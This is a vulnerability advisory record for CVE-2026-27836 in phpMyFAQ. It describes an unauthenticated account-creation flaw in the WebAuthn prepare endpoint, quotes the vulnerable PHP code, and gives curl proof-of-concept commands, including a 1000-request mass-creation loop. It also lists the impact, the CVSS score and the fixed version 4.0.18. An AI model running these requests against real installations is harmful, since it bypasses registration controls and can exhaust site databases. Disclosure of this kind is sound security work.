{"id":"CVE-2026-27836","aliases":["GHSA-w22q-m2fm-x9f4"],"url":"https://o3.security/vulnerability/CVE-2026-27836","summary":"phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint","details":"### Summary\n\nThe WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.\n\n### Details\n\n**File:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php`, lines 63-79\n\n```php\n#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]\npublic function prepare(Request $request): JsonResponse\n{\n    $data = json_decode($request->getContent(), ...);\n    $username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);\n\n    if (!$this->user->getUserByLogin($username, raiseError: false)) {\n        try {\n            $this->user->createUser($username);\n            $this->user->setStatus(status: 'active');\n            $this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);\n            $this->user->setUserData([\n                'display_name' => $username,\n                'email' => $username,\n            ]);\n```\n\nThe endpoint:\n1. Accepts any POST request with a JSON `username` field\n2. If the username doesn't exist, creates a new **active** user account\n3. Does NOT check if WebAuthn support is enabled (`security.enableWebAuthnSupport`)\n4. Does NOT check if registration is enabled (`security.enableRegistration`)\n5. Does NOT verify CSRF tokens\n6. Does NOT require captcha validation\n7. Has no rate limiting\n\n### PoC\n\n```bash\n# Create an account - no auth needed\ncurl -X POST https://TARGET/api/webauthn/prepare \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"attacker_account\"}'\n\n# Mass account creation\nfor i in $(seq 1 1000); do\n  curl -s -X POST https://TARGET/api/webauthn/prepare \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\\\"username\\\":\\\"spam_user_$i\"}\" &\ndone\n```\n\n### Impact\n\n- **Registration bypass:** Accounts created even when self-registration is disabled\n- **Username squatting:** Reserve usernames before legitimate users\n- **Database exhaustion:** Create millions of fake active accounts (DoS)\n- **User enumeration:** Different responses for existing vs new usernames\n- **Security control bypass:** WebAuthn config check is bypassed entirely\n\nAll phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.","published":"2026-02-27T19:54:51.992Z","modified":"2026-08-12T03:51:08.971261493Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"thorsten/phpmyfaq","fixedVersion":"4.0.18"}],"fix":{"url":"https://github.com/thorsten/phpMyFAQ/commit/f2ab673f0668753cd0f7c7c8bc7fd2304dcf5cb1","label":"thorsten/phpMyFAQ@f2ab673"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27836.json"},{"type":"ADVISORY","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w22q-m2fm-x9f4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27836"},{"type":"FIX","url":"https://github.com/thorsten/phpMyFAQ/commit/f2ab673f0668753cd0f7c7c8bc7fd2304dcf5cb1"},{"type":"PACKAGE","url":"https://github.com/thorsten/phpMyFAQ"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:08.971261493Z"}}